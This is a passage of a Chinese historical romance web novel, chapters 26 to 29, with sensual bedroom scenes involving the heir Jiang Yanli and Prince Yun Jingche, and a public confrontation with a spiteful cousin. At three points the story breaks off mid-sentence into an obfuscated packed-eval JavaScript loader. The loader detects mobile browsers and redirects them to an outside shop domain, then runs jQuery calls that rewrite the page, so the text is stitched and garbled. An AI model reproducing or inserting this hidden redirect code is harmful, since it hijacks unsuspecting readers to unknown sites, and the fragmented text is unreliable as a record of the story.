“江砚黎可绝非这般人。便是对我这个表姐,他向来也大方得很,前几日怕你一人在景安苑待着烦闷,他特意送了我好些珍品,只为让我多来陪陪你。他待旁人尚且如此,更何况是心心念念的你?” “依我看,他怕是巴不得把这世上的珍宝都捧到你面前,只为博你一笑呢!所以你便安心受着便是,几支首饰罢了,于他而言不过是九牛一毛,不必这般拘谨。” 被明微这番话点透,阮南枝既开心又害羞,更能感受到世子哥哥对自己的真切心意,她抬眼望向满室流光溢彩的首饰,拿起对着镜中细细打量。 见她这般模样,明微眼底的笑意更浓了,索性拉着她一同在柜台前慢慢挑选着。 这日两个女孩尽兴地逛了许久,最终笑语盈盈满载而归。 26. 月事 夜浓如酿,红灯映着窗纱,影影绰绰。 内室的灯烛暖融,男人面上波澜不惊,漫不经心地解着身上的衣带,雪缎中衣松敞开来,那宽肩窄腰的完美身形即刻显露。 常年习武的身躯劲肌饱满却又不过于虬结,线条利落如刻。 尤其那挺拔紧窄的腰肢,更觉几分引人遐思的魅惑。 没怎么见过这幅场景的小姑娘,看着江砚黎就这样在床边恍若无人地换着衣服,趴在床上,悄悄地红了脸。 并非未察觉阮南枝暗中打量的目光,江砚黎本就是存了蓄意勾引的意图。 他的唇角微微勾起,昳丽的眉眼间染了几分笑意,目光落向阮南枝桃腮绯红的模样,旋即上床,低头亲向她的嘴唇。 唇舌交绕间水泽声□□,男人一边没用什么力道地掐住女孩温润纤细的后颈,掌心稳着她的身子。 而口中霸蛮地搅弄着,吻得深切又缠绵。 “枝枝今日都和明微玩了什么?” 被亲得晕乎乎的阮南枝已然乖得不像话,松开后,只得温顺环着他的脖颈,心跳如鼓,娇声软语道:“我和明微姐姐许久未见,聊了许久。” “枝枝一直好奇明微姐姐和太子殿下的事情,先前觉得明微姐姐在对于他们的感情上还有些举棋不定,可今日跟她聊天,她一提起太子殿下,眼睛都满是藏不住的欢喜……” 好奇的眸子闪着水光,阮南枝歪了歪脑袋,问着面前的男人。 “砚黎哥哥,你悄悄告诉枝枝吧,他们二人近来可是愈发亲近了?” “他们啊……”江砚黎漫不经心地勾了勾好看的唇角,眼底带着一抹似有若无的戏谑,语气闲散,“先前可能是闹了点小矛盾吧,但明微一去蓟县月余,纵使两人再怎么别扭,这么长时间未见,太子殿下总归是对她思念有加。” “殿下为了接她,前几日特意推了两场朝会,亲自去蓟县将她接回,他们早已情投意合,好事怕是不远了。” 说着,他望着她好奇的模样,笑意更深了些:“你这般关心他们,怎么,想讨杯喜酒喝了?” 阮南枝一脸雀跃的憧憬模样:“喜酒自然是想喝的!明微姐姐那么好,太子殿下又这般疼她,他们定是天造地设的一对。” 看着少女叽叽喳喳的活泼模样,江砚黎玩味地笑了一下:“不过——” 他话锋一转,“旁人的热闹看看便好,往后枝枝应该更上心的,是我们的婚事。” 阮南枝的面颊瞬间红透,不敢抬眸看他,只将脸埋进他的颈窝,不说话了。 “枝枝,待你父亲一案尘埃落定,我便上门提亲,好不好?” 江砚黎低笑出声,胸腔微微震动,笑着握住她发软的小手。 “提、提亲?”红着脸的阮南枝怔愣住了,男人不似作假的眼神,十分认真的语气,让她内心一跳,一时之间并不知道该怎么作答。 天知道,她做梦都想嫁给江砚黎。 能嫁给自己喜欢的男子,那该是多么幸福的事情。 况且,他本不需要这么早就谈及提亲,毕竟根本就没多少人知晓自己与他在一起了。 他完全可以不负责。 但现在,提亲一事是江砚黎主动提起的…… “枝枝害羞不说话,我可当你同意了哦。”得不到不回应,江砚黎也不在意,十分好心情地亲了亲过度羞赧的女孩。 在怀里的女孩似是想起了什么,半晌,讷讷开口:“那个,今日我和明微姐姐还去买了好些首饰,花了不少钱呢……” 银钱?这些俗物乃身外之物罢了,江砚黎从来不甚在意,左右能让阮南枝开心,这点用度又算得什么。 少女的体香混着他的清冽气息,格外和谐美好,有些心猿意马的男人将娇人儿往怀里拢了拢,下巴抵着她的发顶,那香肌雪肤莹润细腻,实在勾人,他不舍得松开半分。 “往后想买什么便直接买,我已吩咐过府中账房,你随时可以支用银钱,靖国公府的玉牌也给你备好了,可在京中任意商号支取,不必思量价钱。” “砚黎哥哥你真好呀……”话音甫落,娇艳粉润的女孩便主动凑近,趴在他身上仰着脸儿,想要主动够上那性感的薄唇。 可惜姿势所限而距离又稍远,最终只堪堪在他线条流畅的喉结上轻轻啄了一下。 然而就是这个落在喉结处的吻,瞬间点燃了男人体内蛰伏的燥火。 第一次,这么亢奋的冲动席卷而来,充斥着他的四肢百骸,一直以来引以为傲的沉稳心神已经完全乱了章法。 女孩鬓发凌乱,精致小脸绯红如霞,原就粉嫩的樱唇经方才厮磨,此刻更显嫣红艳丽,诱人得紧。 墨眸深沉,看着半倚在自己身上的温软身子,眸里的□□再也压抑不住。 江砚黎再度欺身压了下去,温热的舌头循着熟悉的轨迹,又一次探入了那小小的嘴唇之中,这次是毫不留余地地掠夺者她口中的空气。 半晕半沉的阮南枝浑身软得没骨头一样,一声细碎的嘤咛娇啭猝不及防从被吻得发肿的唇间溢出。 江砚黎的吻顺着她的耳廓缓缓下移,缱绻呼吸拂过细腻的肌肤,他低头喘息着,情欲渐起的沉声低吟磁性十足: “枝枝,我想要你彻底成为我的女人。” 什么叫彻底成为他的女人? 清醒时候的阮南枝尚不能理解这句话的含义,更遑论现在在情欲与眩晕的裹挟下的她。 “嗯……什、什么……” 更显茫然无措的女孩,原就甜美娇糯的声线,这会儿断断续续的,可怜又勾人。 心底的燥热被撩拨得更盛,江砚黎那盘旋在脑中的冲动一股劲直涌向腹下,浑身血液滚烫,喉结滚动了一下,最终忍无可忍地抬手,扯开了少女腰间松垮的亵裤系带。 刚触到那片柔软的布料,江砚黎动作蓦地一顿。 掌心不知沾了些什么温热黏腻的触感,借着床畔摇曳的烛火低头看去,指腹上那抹刺目的暗红,瞬间让他浑身的燥热冷却。 开什么玩笑。 男人的谷欠望丝毫没有得到疏解,被迫不耐地停下了。 墨眸中残存的情欲迅速被清明取代,他沉默了一会儿,抬眸看向阮南枝。 见她还陷懵懵懂懂的状态里,蛾眉微蹙,似是一点儿没觉察自己的异样,还在不明所以为什么他要突然停下来。 江砚黎淡淡地收回手,既没再动,就连声音也褪去了方才的沙哑:“枝枝,你……是不是来月事了?” ? 话音落入耳中,阮南枝像是被惊雷劈中,瞬间从半晕半懵的状态中惊醒。 她的瞳孔因震惊而骤缩,羞窘之意涌上心头。目光下意识瞟向他沾了些许血迹的手指,再低头看向自己的身下…… 简直想死心的心都有了。 “我、我……”阮南枝张了张嘴,声音抖得不成样子,连一句完整的话都说不出来,神情满是无地自容的尴尬。 她的月事一向不准,可怎么偏偏在这个时候来了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951975|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金尊玉贵的靖国公世子,素来爱洁到了极致,可她……她竟让他沾到了这般污秽之物。 本就敏感卑微的她,此刻忍不住在害怕。 世子哥哥这般矜贵,定然厌恶极了这种污秽…… 会不会嫌弃她,从此就不喜欢她了? 于是,她几乎是手脚并用地从床榻上爬起来想要替他清理好手上沾染的血迹,动作急切又笨拙,连鞋都顾不上穿,赤着脚就踩在冰凉的地板上。 “对不起世子哥哥,我这就帮你擦干净!”面如白纸般惨白的少女,带着哭腔颤巍巍道,慌忙四下张望,想马上找到一个干净的帕子。 而幽深的眼神盯着那粉白莹嫩的脚儿,江砚黎眉头不自觉地皱起。 不是厌恶,也并非嫌弃,只是见她光着脚踩在冰凉的地面上,而感到心情不悦。 月事是女子娇弱之时,最是畏寒避凉,她竟这般不管不顾光脚着地,若是寒气侵体怎么办? 况且女子月事之血,在他看来也不过是寻常血气,从未视作腌臜之物。可看她这副怕惹恼他而恨不得将自己藏起来的卑微模样,令男人心头竟莫名窜起一丝烦躁。 “别动。” 江砚黎沉声道,一把抱起了浑身发颤的女孩,他稳当地将人安稳置于一旁铺着软垫的木椅上,随手取过案边干净的锦帕,草草擦拭了指尖血迹便丢开。 而后,半跪于地,身姿优雅却又耐心细致地拿起柔软的罗袜套上她冰凉的莲足,顺着脚踝轻轻向上拉平,最后再替她缓缓穿好绣鞋。 穿好鞋履,江砚黎直起身,望着女孩可怜又娇柔的模样,声音不忍放柔了些:“乖,你先去内室换上干净的月事带和寝衣,我去洗个手,待会儿让下人煮些红糖姜茶来给你暖暖身子。” 说罢,他侧身让开去路。 原本焦躁惊惧的内心被男人温柔抚平,阮南枝看着他那沉静的眉眼,她神情恍惚地应了声,转身走进内室。 换好衣物出来,江砚黎已折返房中。 端过那盏姜茶,试了试温度,才在她面前坐下,另一只手轻轻扶着她的后颈,温柔地一勺接一勺,将温热的姜茶递到女孩唇边。 看着暖黄的茶汤漫过她粉嫩如瓣的唇儿,顺着滑入喉间,江砚黎目色渐沉,取过案边的素色绢子,轻轻替她拭去唇角沾染的余汁。 全程阮南枝都顺从地微微仰头,甜辣交织的味道漫过舌尖,进入胃里,让她觉得自己全身都暖了起来。 照顾好女孩喝完红糖姜茶后,他唤了婢女来收走碗勺,回来再次俯身,褪去她的绣鞋,随即重新将阮南枝抱回床上。 拿起旁边一个裹着锦缎套的汤婆子,塞进她的掌心,又覆上自己的大手替她捂着,顺势侧身躺下将她温软的身子揽进怀里。 明明是生来就受人伺候的上位者,此刻伺候心上人这方面他倒是做得这么无微不至。 “可有什么不舒服的吗?” 被他这样稳妥地抱在怀里,掌心的汤婆子又暖得熨帖,心情暖暖的阮南枝抿唇笑着:“没有不舒服,有砚黎哥哥抱着,还有汤婆子暖着,一点都不冷了。” “那就好。”江砚黎凉薄的唇侧,漫不经心捻出一抹慵懒的淡笑。 “枝枝你要记着,你是我江砚黎放在心尖上的人,不必害怕做错什么,更无需在我面前卑微怯懦。” “嗯……” 女孩主动往他怀里缩得更紧,脸颊贴着他温热的胸膛,听着那沉稳有力的心跳,只觉得前所未有的安心。 27. 避火图 十九岁的太子是宗室里最耀眼的存在,文武双全,那份与生俱来的天家贵气,无需刻意端方,仅静静立于人前便自显一种日月入怀的清贵。 仔细盯着眼前缓步朝自己走来的男子,面如冠玉嵌星眸,眉若墨画藏锋棱。 明微不由得默默在心里感叹。 宗室之中子弟众多,或温雅或骁勇,却少有人能及他这般集才貌与气度于一身。 注意到面前的女孩看着看着自己就走了神儿,云景澈微微弯了唇角,一手捧住了明微的脸蛋,戏谑道:“微微来东宫寻孤,可是想孤了?” 明微回过神来,笑着抓住了他的手,点点头:“殿下,我有点事儿想请你帮忙……” 竟还用上了帮忙这一词?云景澈不禁挑眉,清冷的面容上带起几分不易察觉的讶异。 微微与他亲近无间,向来是直来直往,毫无客套,何时这般见外过。 心里忍不住暗自琢磨起她突然客气的缘由。 明微拉着他,步履匆匆地进了寝宫里,进来之后,反手扣上铜锁,只留两人在殿内。 东宫正殿寝宫里,云景澈所用之宫婢皆是精心挑选的心腹,不仅谨守本分,更懂储君心意,自然不会将两人亲密之事到处乱传出去。 这么急? 被她这番暧昧的举动弄得一时有些哑然,云景澈喉结微滚,他顿了两秒,抚上自己领口的盘扣。 随着指节动作,玄色外袍顺着宽肩缓缓滑落,露出内里的锦缎中衣,衣料贴合着挺拔身形,显得肩背线条格外性感迷人。 垂眸看向身前的人,语气里带着几分调侃:“这般着急,现在还是白天呢。” “你想什么呢!” 见男人误会了自己的意思,光天化日之下就想着脱衣服,明微羞恼地瞪了云景澈一眼,泠泠清澈的明光若一汪春水盛满眸子,不由娇嗔一声:“不是这个啦。” 她踮着脚尖凑近云景澈的耳边,捂着手悄声对他说道:“云景澈,你能不能……帮我搞来几本避火图?” 闻言,云景澈的神情一变,莫名地看着她,似是没想到明微要提的事情是这个。 半晌,他微扬起薄唇,忽地单臂钳制住她,将轻软馨香的小人儿抱回了寝宫里间,又丢到了床上。 床榻上铺着软绒锦褥,底下也铺着层层叠叠的绣垫,哪怕是被这样丢到床上,一点儿也不会痛,但猝不及防的明微还是忍不住轻呼出声。 “纸上得来终觉浅,得知此事要躬行。微微既要寻避火图,不如……与我亲自试上一试,岂不比看图更真切?” 在私下里相处时,云景澈从不对着明微自称“孤”。 那字眼里包含着皇权威仪和太子尊荣,原是他身份最鲜明的注脚。可面对明微时,他甘愿卸下所有冕旒,他不要做高高在上的太子,只是想做一个爱慕着她的普通人。 满室熏香暖腻,器宇轩昂的男人俯身逼近,衣摆扫过床沿,指腹轻轻摸上她泛红的脸颊,唇畔凑到女子耳边,诱惑着她。 不知为何,云景澈那俊朗的眉眼,在这样朦胧暧昧的氛围下,看得明微心口直跳。 不过被他说得脸颊爆红,心头那点慌乱瞬间化作羞恼,她抬手轻轻捶了一下他的肩头,又是嗔怪又是娇羞:“你胡说什么!试什么试!” “我寻避火图,是给南枝妹妹的。她性子单纯,对于男女之事什么都不懂,江砚黎那家伙又是个说一不二的性子,我怕他唐突了人家小姑娘,所以才想着找些图册,悄悄教她些自保的分寸。” 原来是这样。 云景澈眼底的笑意未减,矜贵优雅的男人自带一种天然的掌控感,嗓音低哑性感:“原来如此……微微放心,此事交给我便是,我会寻来避火图给你的。” 话音未落,他身形微沉,修长好看的五指已然落上女孩细嫩的纤软小腿,顺着绸缎般细腻的肌肤缓缓向上探去。 明珠绣线缀成的裙摆被撩拨开来,层层叠叠堆向腰间,露出底下白净绢袜包裹的脚腕。此刻两只雪白玉腿挣脱了裙摆束缚,在暖光下泛着莹润光泽。 面前之人极为欣赏这样一幅美丽的光景,眸色沉沉含笑,指尖的力道引得明微身子微微一颤,眼睫慌乱如蝶翼扑闪,羞赧嗔怪地瞪着他,以这种方式无声控诉。 可这样子,落在云景澈的眼中,反倒添了几分不自知的媚态。 这一场并未执行到最后一步的情事,却也温柔得让明微前所未有地尝到了不一样的欢愉,肌肤相贴处蚀骨酥麻,让她浑身软得没了半分力气,只能无力地依在云景澈的怀里。 湿透的鬓发黏在颈侧,浑身上下都泛着潮红,云景澈显然爱极了明微这般模样,将她紧紧圈在怀中,细细地吻着她的眼睫,将这事后的温存,做得绵长舒适。 “微微,我好伤心……”他揽着怀中之人,颇为委屈地将下颌埋进她馨香的脖颈,轻轻蹭着她的颈侧软肉,如同孩童般的依赖,“你去蓟县那月余,漫漫长夜,我睁眼闭眼都是你的模样,根本忍受不了这么长时间不能见到你……” “可你回来之后,却半点也不想我,若非为了旁人,你根本不会主动来见我。” 她哪有啊! 明微被男人蹭得颈侧发痒,心里早已软成一团,忍不住暗自腹诽,云景澈简直没道理。 明明她也一直惦记着他呀,不过是突然得知了江砚黎和阮南枝的事情过于震惊,才先匆匆去看望了阮南枝,再来寻他。 在蓟县的时候,脑海里都是他的身影,夜里枕着对他的思念难眠,怎么到他嘴里,就成了不想他? 还这般委屈巴巴地诉说,倒显得她多薄情似的。明微稍微往他那儿挪了一点,笑着拍了拍那隽秀的面庞,好言哄道:“我哪有不在想你,哼,我若是不愿见你,还能容许你像方才那样玩弄我不成?” 明微本就圆滑剔透,身为永宁伯府嫡出的贵女,自小心高气傲,界限感极强,若非是打心底里钟意谁,甘愿卸下心防,又怎会轻易让一个男子这般贴近,任他这样逾越礼制的亲密接触。 换做旁人,早已被她不动声色地斥退。 “玩弄你?”云景澈喉间发出一声闷笑,温热的气息拂过她耳廓,随即扣住她拍在自己脸上的作乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959920|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小手,缠绵摩挲着她细腻的雪肤,“微微,方才你不也很舒服吗?” 红着脸的女孩忍住笑意,不置可否地轻哼一声,粉拳不轻不重地锤了他一下:“你不许再乱说了!” “好啦,我该回去了。虽说你这儿防卫严密,可保不齐有什么人在暗处盯着,若是被人瞧见编排些闲话,毁了你太子殿下英明神武的声誉,那可就不好了。” 什么声誉,对他来说根本就不重要,他只想多延长和微微在一起的每分每秒。 云景澈没应声,只是再次将明微从身后牢牢抱住,无奈地叹了一口气:“真想早点把你娶回来。” “这样往后日日都能这般抱着你,再也不用依依不舍地和你分离了。” 被抱得紧实,他还这般直言不讳地表达自己的心声,倒叫明微的小心脏开始乱跳起来。 她抬手轻轻抵在他环着腰的手臂上,粉红娇靥依旧浮着未褪去的片片红晕,忍不住口是心非娇哼道:“谁、谁说我一定会嫁给你啊,八字没一撇的事儿,我要是嫁给别人也未可知,太子殿下还是少做些美梦吧。” “不嫁我,微微还想嫁谁?” 男人有些不悦地皱起眉头,眼神变得阴厉幽冷,足见他非常不喜欢明微所说的这句话。 大手渐渐游弋在她盈盈一握的腰肢上,有意无意地循着往日熟记的几处敏感的地方辗转抚摸着。 动作精准得让她瞬间绷紧了身子,柔滑肌肤泛起一阵阵战栗。他太懂如何撩拨她,不过两三下,便让明微慌得偏身欲躲,腰间的软肉被触碰得又麻又痒。 “喂!我错了,我错了还不行吗!” 明微难耐地咬着嫣红的唇瓣,眼眶泛着盈盈水光,酥麻的痒意顺着脊椎蔓延,空落落的滋味越来越浓,只得软下身段声声哀饶:“澈哥哥,微微最喜欢你了,微微此生只想嫁你一人,不要再弄了好不好……再折腾一次,时间该很晚了……” 听她这般软语求饶,云景澈总算满意了,低低笑出声,薄唇随即落下,在那水润的美眸上印下一个轻吻。 仓促偏头躲避的明微,睫毛还在微微颤抖,他也没再强迫了,只是勾起一抹得逞的懒笑。 “微微,你是我的。” 纵使再怎么不舍,云景澈也只能松开揽着明微腰肢的手。时间确实不早了,他贪恋着最后的温软一般亲了亲明微的唇瓣,终究还是哑着嗓音叮嘱:“路上仔细些,我让暗卫送你回去。” “知道啦。”明微弯了弯眼眸,笑着应道。 待替女孩整理好凌乱的衣裙后,他上前半步,俯身在她耳边,用只有两人能听见的声音低笑: “避火图……过两日我便拿去给你。” 终于记起了自己此行的目的是什么,明微简直欲哭无泪。 方才被云景澈折腾得浑身发软,此刻迈出的每一步都十分虚浮,哪怕坐上了马车,腿儿还在不受控制地发抖。 心里忍不住暗自咬牙,为了给阮南枝找这么些个破避火图,她可是耗了大半体力,受了这等罪。 这笔帐,必须原封不动地算到江砚黎头上! 28. 打脸 几日后,明微得了空,依旧动身往景安苑寻阮南枝去。 只是当她甫至苑门下了马车后,正巧撞见一个面容清秀的男子同样站在苑门前。 瞧那模样,似乎也是来探望阮南枝的。 可这男子瞧着面生,素来过目不忘的明微,竟未识得他半点来历,于是料想他绝非京中的世家子弟。 正思忖间,苑门内的小厮匆匆趋步而出,一面躬身迎客,一面朗声对那名男子道:“柳公子,小姐已在苑中等候了,请随小的入内。” 紧接着,小厮又抬眼瞥见立在一旁的明微,连忙又躬身行礼,语气恭敬极了:“明微小姐也来了?快快请进。” 阮小姐早有吩咐,日后明微小姐到访,无需通传,直接请她入苑就是。 听到小厮这么一说,柳净远也注意到了身旁的女子,下意识朝她看去。 明微感知到他的目光也转过头去,视线与之撞个正着。 想来能入景安苑拜访,兴许就是枝枝的相识之人了,于是乎,明微保持着世家贵女端庄温婉的风范,朝他微微颔首致意。 忽见眼前女子仙姿玉貌,眸若秋水,柳净远一时竟有些失神,待反应过来,忙不迭拱手回礼以示回应。 小厮引着二人而入,穿廊过院,直至厅堂。阮南枝望见来人,眼睛里霎时亮起一丝惊喜,起身迎上前来,女孩的声音清甜如莺啼:“净远哥哥,明微姐姐,你们怎么一同来啦?” “明微姐姐,这位是我幼时在苏州相识的净远哥哥。”没想到两人竟然同一时间来景安苑,阮南枝柔声为彼此引荐,“净远哥哥,这是明微姐姐,她是我在京中最知心的好友。” “明姑娘好,在下柳净远,初次见面,请多关照。”闻言,柳净远笑着,谦和作揖对明微行了个礼。 终于知晓了这名男子的身份来历,明微抬手以袖掩唇,微微一笑礼貌回应:“柳公子不必多礼。” 随后,柳净远转头望向阮南枝,语气亦是款款温和:“南枝,前几日诸事缠身,自上次匆匆探望过你一回,便再无闲暇登门。这些时日你过得可还顺遂?” 阮南枝那好看的眉眼弯成了月牙儿,笑眯眯摇了摇头道:“净远哥哥何须如此挂怀,我在苑中一切都好。何况咱们如今同住一条街上,不过几步之遥,哪里用得着这般客气。你得空便来坐坐,若是忙碌,便安心处理正事,我这里断然不会见怪的。” 捕捉到了阮南枝话中的关键信息,明微不由得纤眉微挑,眼中掠过一抹讶异。 “你们……如今住在一条街上?” “是呀,明微姐姐,你说巧不巧!那日净远哥哥瞧见景安苑新搬了人进来,原是出于邻里之谊,想来登门拜访一番,谁知一推门,看到竟是我呢!” 一旁的柳净远温然颔首,眸光微动,默认了这番巧事。 知晓了来龙去脉,明微差点没忍住笑出声来,看着柳净远对阮南枝那饱含情谊的眼神,她一下就能知道这男子肯定是对枝枝有着别样的情愫。 没想到啊,江砚黎精心为阮南枝寻的住处,竟然阴差阳错,让她住进了情敌的隔壁。 “原来是这样啊。”明微轻咳一声,压下对自家表弟幸灾乐祸的心情,敛了敛神色保持如常,含笑道,“倒还真是有缘呢。” 今日登门探望南枝,未料到恰逢她京中密友也前来看望。柳净远也算心思通透,知晓女儿家相聚,定是有许多体己话要细细相说,他一个男子守在一旁,终究是不便,恐扰了她们闲谈的雅兴。 因此,坐了不过一盏茶的功夫,他便起身拱手淡笑告别:“南枝妹妹,明姑娘,今日叨扰许久,在下先行告辞,改日再登门拜访。” 他这么早便要离开?阮南枝有些诧异,神情也浮上了几分不舍:“净远哥哥不再多坐会儿?” “不了,你们好好聊聊,我就不打扰了。” 见柳净远笑着摇了摇头,她便也不再挽留,转而叮嘱道:“那你日后若是得空,再来苑中坐坐呀。”说罢,亲自送他至苑门,这才转身折返厅堂。 时近未时,已至用膳时分,阮南枝拉着明微,想要留她在景安苑一同用膳。 然而,明微想了一下,摇了摇头,反手攥住她的手腕,眼底闪着狡黠的光:“苑中膳食虽好,但自从上次江砚黎请我去顺和楼吃过一次后,我念着那儿的蟹酿橙好几日了。今日我做东,带着你去尝尝,保管你吃得欢心!” 两个小姑娘一拍即合,当即兴冲冲地一同前往顺和楼,这个京城里数一数二的华贵大酒楼。 先前阮南枝素来不喜出门,一来是明微未在京中,无贴心好友相伴同游,二来是怕京中旧识瞧见她,难免要打探阮家如今的境况,徒增烦扰。 偏偏今日不凑巧,二人刚到顺和楼门口,竟意外撞见了她的堂表姐林曼香。 原先阮家遭难之初,阮南枝走投无路去求堂舅家相助,却被林曼香当众冷言羞辱,这些不好的记忆顿时涌入她的脑海中。 少女脸色一白,心头慌得厉害,下意识抓紧明微的手,便想转身躲开。 可林曼香已然瞥见了她,像是见了什么稀奇人物般,先是一愣,随即嘴角勾起一抹讥诮的冷笑,踩着莲步,带着几分居高临下的姿态,径直迎面走来。 “哟,这不是南枝妹妹吗?” 林曼香停下脚步,纤手掐着腰,上上下下将阮南枝打量个遍,再扫过不远处顺和楼鎏金烫银的招牌,眼底的不屑昭然若揭。 现在的阮南枝,凭什么能来顺和楼消费? 顺和楼乃是京中首屈一指的销金窟,玉阶朱门,往来皆是簪缨世家和富贵豪绅,寻常百姓连进来的门槛摸都摸不到。 便是她林曼香,仗着当京中当小官的父亲的薄产,一年到头也不过能来上一两回,还要精打细算。 阮家已经树倒猢狲散,府邸被封,父亲流放蛮荒,她一个落魄孤女,竟还在流连于此等地方? 怕不是……走了什么歪门邪道,攀上了哪个有头有脸的金主,被人包养了才有这般阔绰? 这么想着,林曼香的眼神中带上了些许鄙夷和幸灾乐祸的意味,忍不住出言嘲讽:“南枝妹妹怎么来顺和楼了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970525|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到你如今这般光景,居然还想踏足顺和楼的门槛,莫不是……” 她故意拖长语调,目光在阮南枝身上逡巡,“是哪位男人怜你可怜,给你了金钱来的?” 想当年阮家顺遂之时,爹娘日日在她耳边念叨阮家的风光,抱怨自家处处不及的委屈。 那些酸言碎语扎在她的心头,她早已将这份嫉妒的种子悄然种下,日积月累间,在心底生根发芽,盘根错节,再也拔不掉了。 凭什么?凭什么阮南枝生来就拥有这么好的一切? 如今阮南枝过得越惨,她越是开心,最好是被哪个又丑又老的糟老头子看中,当成玩物包养起来,日夜受磋磨,尝尽世间屈辱。 那样才能消她这些年积压的怨气! 一旁的明微虽不知她们其中的纠葛,却听得出林曼香话语里的满满恶意。眼见阮南枝脸色惨白,身子还在微微发颤,她哪能容得好友受这般委屈,当即挺身而出,将阮南枝护在身后。 她抬眸看向林曼香,身姿挺拔傲然,眼神冷冽:“这位姑娘,口舌当有分寸,还请慎言。” “不管你想怎么样,南枝如今已是我家未过门的弟媳,再也不是你能随意欺辱的人。也就是她善良性子好,懒得跟你计较这些,真要是惹到她未来夫君,你们家怕是要吃不了兜着走,为你着想,我劝你还是别做得太过分了。” 听闻此言,林曼香狐疑地看了明微一眼。 说起来,林曼香的父亲不过是个从九品翰林院典史,官阶低微,家世寻常,并无缘跻身京中贵女圈子。 故而她从未见过明微,明微自然也不认得她。 因此,她只当明微是信口雌黄,狐假虎威罢了。出事后,阮南枝自身难保,怎可能攀得上什么能让她林家吃不了兜着走的大人物? 于是满脸不屑的林曼香双手抱起胸,林曼香嗤笑一声,眼神愈发轻蔑,挑眉冷冷道:“呵,你当我是三岁孩童这般好骗?阮南枝不过是个无依无靠的孤女,能攀上什么像样的人物?怕是什么不入流的野男人,被你们拿来虚张声势罢了!” 好言已尽,既然这林曼香执意要自寻死路,拦也拦不住的话,她也奉陪到底。明微从来不惧这等仗势欺人之辈,她闻言非但不恼,反倒勾起唇角,回了林曼香一个意味不明的微笑。 随即,从自己随身携带的香囊里拿出一枚莹润通透的白玉牌,上面“永宁伯府”四个篆字格外显眼,清晰可辨。 她抬手将玉牌在林曼香眼前轻轻一晃,语气淡淡,却有着十足的威慑力: “我竟不知道,我永宁伯府的名头,在你眼中也不算得入流?” “那就直白地告诉你吧,我那表弟,靖国公府世子江砚黎,可是将南枝放在心尖上宠着疼着,视若珍宝……” “既然你偏不信,那我便差人去通个信,将你方才所说的言语都告诉他,让他知晓,看看他会不会动你们林家就是咯。” 说完,明微还故作随意地耸了耸肩,面上还是笑吟吟的,眼底并无半分玩笑之意。 可见林曼香是真的惹恼了她。 29. 羡慕 看着眼前的玉牌,不似作假,林曼香脸色骤变。她自然是早有听闻永宁伯府嫡女明微的名号,却万万没料到,眼前之人便是明微本人。 至于江砚黎,她当然也知道,京中贵女谁不倾心于靖国公世子?他是众人捧在掌心的天之骄子,风姿卓绝,家世显赫,多少人求而不得…… 阮南枝,真的和他在一起了? 这下轮到林曼香面色惨白,哆嗦着身子,方才的得意忘形荡然无存。 “算了微微。” 这时候,一直抿唇缄默的阮南枝终于开口,她并不想多加理会林曼香。 倒不是她有多么慈悲,只会一味忍让,而是觉得,即便反过来将林曼香的羞辱尽数还回去,也不能真正抵消那些落在自己身上的难堪。 何必呢。 于是抬手轻轻拉了拉明微的衣袖,垂眸淡淡道:“左不过是些无关紧要的人,犯不着费神。我饿了,我们先进去吧。” 既然阮南枝无意追究,明微便也收了凌厉的神色,转身之际,落下一句:“你该庆幸,她这么温良,未像你先前那般刁难她一样刁难你。” 话音落时,她遂伴着阮南枝踏入顺和楼,而林曼香已然吓得冷汗直冒,今日是怎么也不敢再踏入顺和楼了。 两人坐落到顺和楼的一间包间后,阮南枝这才开口向明微解释情况:“刚才那位是我的堂表姐,原是我们两家人疏远了,因此她才这么不喜欢我的。” “微微不必放在心上,我没事的。”她说着,对着明微弯唇一笑。 眉如远黛,唇红齿白的模样格外娇俏,看得明微心下更是忍不住一叹…… 这丫头性子也太好了些吧! 换作是她,若有人敢这般惹她,便是不叫那人吃尽苦头,也总得让其脱层皮才罢。 “好枝枝,你既无碍,便再好不过了。”明微执起她的手轻轻拍了拍,温言柔婉如春风和煦,眼底满是疼惜,“往后再遇这般寻衅之事,不必强自隐忍,有我在,还有江砚黎在呢,我们都可以为你撑腰。” “谢谢明微姐姐……” 阮南枝撒娇似的倚在她的肩头,忽地忆起方才明微直言她与砚黎哥哥的情分,还说什么自己是他未过门的妻子云云……不由得涨红了脸儿。 “对了微微,你方才那样直言我和砚黎哥哥的关系……会不会不太好?”红霞飞满的玉容似要滴血一般,怯生生的女孩咬着粉唇,迟疑地发问,“砚黎哥哥行事沉稳,应该不太喜欢把我们的关系告诉给外人知晓吧。” 